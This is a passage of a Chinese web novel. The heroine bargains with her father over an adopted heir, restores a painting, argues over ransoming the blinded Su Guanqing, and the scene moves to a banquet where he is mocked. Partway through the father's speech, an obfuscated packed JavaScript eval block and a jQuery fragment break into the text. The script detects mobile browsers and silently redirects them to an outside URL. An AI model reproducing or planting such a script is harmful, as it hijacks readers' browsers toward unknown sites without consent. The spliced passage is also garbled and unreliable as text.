姜怀山念及父女生疏的缘由,不由心中愧然,到底还是率先开口,打破了僵局。
“还生爹爹的气呢?”
“女儿不敢。”
姜怀山失笑:“这世上还有你不敢干的事情吗?”
姜曈没接话,这一瞬,其实她是真的有些不知道该用什么态度来面对这个父亲了。
记忆中,如果姜怀山主动哄她,给她递台阶,她或许就钻到爹爹怀里,撒撒娇,发发小脾气,父女之间这点龃龉也就过去了。
但是现在,她早就不是那个十六岁的曈曈了,她已经忘记了该如何撒娇。
“爹找我来,是有什么事吗?”最终,她选择了开门见山。
姜怀山脸上的笑意一滞,叹了口气:“也不怪你怨爹爹,若非爹爹一意孤行,咱们家也不至于落到这个地步。”
他环视一周,这个屋子,除了必要的家具外,没有半点装饰,也没有一个服侍的仆役。
姜怀山又长长地叹了一声:“这些日子,辛苦你们母女了。”
坐在床脚的钟婉词一听这话,已经拿帕子捂住了脸,无声地哭起来了。
姜曈也呆了一呆,记忆中,她从未听到过姜怀山说这样的话,一时间鼻头有些发酸。
“是爹看错了人,爹爹只是想着,姜家到底得有人顶门立户。”
姜曈那略微有些发热的眼,就冷了下来:“难道爹爹认为,我撑不起姜家的门户吗?”
钟婉词忙忙地擦了把泪,帮女儿说话:“怀山,这些日子你昏迷不醒,家里得亏了曈曈帮我,不然我真不知道该怎么办了才好……”
她想起这段时间的彷徨与无助,一边流泪,一边将两个孩子各自的表现讲了:“……不是曈曈请来大夫,怀山你,还不知道什么时候能醒。”
姜怀山听着妻子断断续续,又有些没有伦次的讲述,并没有露出什么惊讶的表情,就像是两个孩子会有这样的表现,都在他的预料当中。
等到钟婉词讲完,屋中一时无人讲话,只闻钟婉词的啜泣。
半晌,姜曈开口,语气冷硬:“女儿不想惹爹生气,但事已至此,爹爹还想粉饰太平吗?”
钟婉词也抽噎着嘟哝了一句:“夫君若是依旧一意孤行,我之前讲带曈曈回钟家,可不是说笑的!”
姜怀山叹了口气,道:“你们不用拿话来逼我。姜曚这个孩子,哎,我是教不了他了,回头我会修书一封给堂兄,将姜曚带回去,退还本支。”
“爹爹将姜曚退回去,若是本家那边族老要给爹爹过继别的嗣子,爹爹又待如何?”
一听这话,钟婉词刚缓和下来的神色又绷紧了,一双眼睛定定地望着自己的丈夫。
姜怀山没有立即给出答案,他看着自己唯一的骨血,目光却不像在看一个孩子,倒像是在看一个平辈,他心平气和问地道:“你如何想?”
“不如我同爹爹打个赌,如果我能将姜曚输出去的地、宅子、都买回来,爹爹从此熄了过继的心思如何?”姜曈的语气平缓。
钟婉词没有料到女儿会提出这样的要求,不由瞪大了眼睛,反应过来,又扭头去看丈夫的反应。
姜怀山思索了一会儿,应允道:“好。”
姜曈点点头:“好,就这么定了。爹爹休息吧,女儿还有事要做。”
姜曈心里还记挂着没修复完的画,与姜怀山说定以后,步履匆匆地开门走了出去,刚一打开门,就见门口黑影一闪,姜曚的人影慌不择路地消失在转角处。
姜曈瞥了一眼,却根本没有停步,径直走进了书房。修复画作,才是眼下她最重要的事情。
姜曈回到书房后,就开始修补画作的最后一个步骤——
接笔,即将画面中原本缺失的笔意补全。
当然,再好的修补匠人,都不是画者本人,他们需要通过揣摩画意,模仿画者的用笔手法来进行接笔。
这需要考验的,不光是匠人的绘画技法,更关键的是匠人对画作本身的领悟能力和模仿能力。
如果是水平不够的修复匠人,往往会选择不进行接笔这一步,毕竟,补坏了,一幅画就真毁掉了。
而这个步骤在姜曈这里就不成问题,她极擅模仿,能通过缺失部位前后的笔迹推断出画者当时的笔法,下手的轻重,用墨的浓淡,恰到好处地将缺失处连接上。
只见她笔尖或皴或提,或疾或涩,挥毫间,画面上的空缺逐个消失,画意一点点地重新连贯起来。
由于接笔需要良好的光线,天色暗下来后,姜曈就没有继续埋首书案了,而是陪父母一起吃了顿团圆饭。
肉菜是没有的,钟婉词给女儿夹了一筷子韭菜,问道:“你这些日子整天一个人关在书房,到底是在做什么?”
“修画,”姜曈解释,“观卿给了我一幅画,是位名家所画,就是保存不善,需要修复。”
“如何修复?”钟婉词一双盈盈秋波在烛火下闪着光。
姜曈便简单地解释了一下修复的过程。
钟婉词有些疑惑:“这样的技艺,你是从哪里学的?”
“呃……”刚刚还侃侃而谈的姜画医卡壳了。
她还没想出来如何答复,姜怀山就插嘴道:“这有什么好奇怪的,咱们曈曈聪明,什么事情她自己琢磨一下,就能弄懂了。就像曈曈小时候学骑马一样,我都还没抽出空来教她,她自己悄悄跑去马场,往那马背上一爬,就无师自通了!”
钟婉词一听就信了,不再深究,她眼下心情也是大好,姜曚那个坏东西要被赶走了,他们总算是苦尽甘来了。
这是一顿只属于他们一家三口的晚餐。
没有人提起姜曚,他也没有自己出现,仿佛这个人从来就不曾存在。
姜曈扒了两口饭,就着暖暖的烛光看看坐在对面的父母。
七十多年了。
她七十多年未曾与父母同桌吃饭,这一刻,她只觉而今若只是一场梦,她也无憾了。
姜怀山咽下妻子夹过来的一筷子菜,想起什么,又问姜曈:“对了,观卿那孩子如何了?我记得我病倒前,他的事情还没有结果。”
姜曈便将苏观卿的情况简单讲了。
姜怀山叹了口气:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15780280|174811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“苏家落难,只可惜了观卿这孩子。这画既然是观卿的,你修复好,也该完璧归赵。”
“我想着把画卖出去,用这个钱把观卿赎出来。”姜曈说了她的计划。
以后,她可以靠着修画养家,他们一家四口,也可以过得很不错。
姜怀山迟疑了一下,道:“我看不必。他已经看不见了,又是个乐籍,留在乐班里才是他谋生的路子。”
姜曈万万想不到姜怀山会说出这样的话,她不可思议地望向自己的爹:“爹的意思是,让他这辈子都留在乐班卖唱为生?”
姜怀山面上闪过一丝迟疑不忍,但还是道:“这不是我的意思,是圣上的意思。”
“圣上也没下旨说,入了乐籍就不能赎身。”姜曈面色不虞。
钟婉词忙劝女儿:“你爹说的也没错,观卿眼下这个样子,你就是赎他自由,他又能做什么糊口呢?难不成,你让他上街要饭去?”
“他什么也不用做,我可以修画养他!”
钟婉词慌了:“可不能这么说,你以后还要嫁人……”
姜曈放下筷子,正色道:“阿娘,咱们这些日子困难,是观卿一直在帮咱们,就是爹的药钱,也是观卿给的,咱们不能过河拆桥!”
钟婉词又转向丈夫:“曈曈说的也有理,咱们就把人赎回来,放在家……”
姜怀山脸色难看地打断妻子,沉声道:“胡闹!你可知当日苏家的案子有多敏感?苏家满门抄斩,却独独留下个苏观卿,不流放,不坐牢,偏放他在京城!在人前!你以为这是圣上法外开恩吗?那是要留着他钓鱼!眼下不知道有多少双眼睛盯着他。你这个时候把他接回来,岂不是给自己找祸!”
姜曈一脸失望地看向姜怀山:“爹,我道你一生重义,岂料你也是那等墙倒众人推的!”
姜怀山一拍桌子站起来:“你要怎么想,我都无所谓,总而言之,不许你去赎他,那幅画你修好了还给他,之后不许你再见他!”
他到底病后虚弱,哪怕大发雷霆,也没有什么气势,反而姜曈也跟着一拍桌子站起来,气势完全压过了她爹。
“我不管观卿担着什么干系,总之他对我有恩,我定不会见他深陷泥潭而不顾!”
……
“月泉公子当年可是咱们京城第一才子,不论是书画还是诗词都是一绝,就连模样都比别人俊。许某记得少年时,我爹就没少拿我跟月泉公子比,可我就是个庸才,哪儿比得上惊才绝艳的月泉公子呀!”
“可不么!便是我爹当年说起月泉公子,也是赞不绝口。耳提面命让我向月泉公子看齐!可才华这东西不是谁都有的,我当年为了赶上月泉公子,何尝不是发愤图强,只可惜没那天分,到现在也是上不上,下不下的。”
通政使之子许笙的私宴上,众衙内苦月泉公子久矣,话匣子一打开就收不住。
众人一面说着,目光还肆无忌惮地往苏观卿的身上看。
苏观卿一袭月白长袍,整个人朗朗清清,如皎月照人,他跟他的琴被人安置在花厅的正中央,四面无靠,席上谁都能拿他下饭佐餐。